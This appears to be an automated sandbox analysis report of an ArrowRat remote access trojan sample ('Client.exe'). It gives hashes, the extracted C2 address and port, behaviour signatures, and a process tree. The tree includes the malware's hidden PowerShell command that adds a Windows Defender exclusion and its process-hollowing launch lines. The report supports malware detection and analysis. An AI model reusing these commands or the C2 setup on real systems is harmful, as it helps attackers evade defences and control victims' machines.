Overview

overview

10

Static

static

10

Client.exe

windows11-21h2-x64

10

Client.exe

windows7-x64

10

Client.exe

windows10-1703-x64

10

Client.exe

windows10-2004-x64

10

Client.exe

windows11-21h2-x64

10

Client.exe

android-11-x64

Analysis

  • max time kernel
    135s
  • max time network
    143s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07-05-2024 10:59

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General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    d0a55dda2e691dbb7eedcd02cc7eaffa

  • SHA1

    37433d28c8f89e0f3b63e145d592e86e9da9b22f

  • SHA256

    0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335

  • SHA512

    de5975c1c76799649b917b5e43c681ea2aff06813f43d363d4dc2ec8c99d33ba17026cb07a26931e6f637e26add9090be0eccc95f753f625461c75fe2b07327a

  • SSDEEP

    3072:wbzmH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPzdO8Y:wbzme0ODhTEPgnjuIJzo+PPcfPzQ8

Score
10/10
arrowratclientexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

26.137.109.175:1337

Mutex

pqjvqGUKv

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 20 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 28 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4632
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
      2⤵
        PID:440
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
        2⤵
          PID:1844
        • C:\Windows\System32\ComputerDefaults.exe
          "C:\Windows\System32\ComputerDefaults.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1012
          • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
            "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\yoRyHvHxC\qQDhvzMlM.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1864
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1520

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlogcgpv.ime.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/1844-2-0x0000000000400000-0x0000000000418000-memory.dmp

        Filesize

        96KB

        Download

      • memory/1844-4-0x0000000005100000-0x0000000005192000-memory.dmp

        Filesize

        584KB

        Download

      • memory/1844-5-0x00000000051A0000-0x000000000523C000-memory.dmp

        Filesize

        624KB

        Download

      • memory/1844-6-0x00000000059A0000-0x0000000005F46000-memory.dmp

        Filesize

        5.6MB

        Download

      • memory/1844-7-0x0000000005860000-0x00000000058C6000-memory.dmp

        Filesize

        408KB

        Download

      • memory/1844-12-0x0000000006150000-0x00000000061A0000-memory.dmp

        Filesize

        320KB

        Download

      • memory/1864-24-0x000002BA071A0000-0x000002BA071C2000-memory.dmp

        Filesize

        136KB

        Download

      • memory/3044-1-0x00007FFACD1F3000-0x00007FFACD1F5000-memory.dmp

        Filesize

        8KB

        Download

      • memory/3044-0-0x0000023C28F30000-0x0000023C28F5E000-memory.dmp

        Filesize

        184KB

        Download

      • memory/3044-14-0x00007FFACD1F0000-0x00007FFACDCB2000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/3044-28-0x00007FFACD1F0000-0x00007FFACDCB2000-memory.dmp

        Filesize

        10.8MB

        Download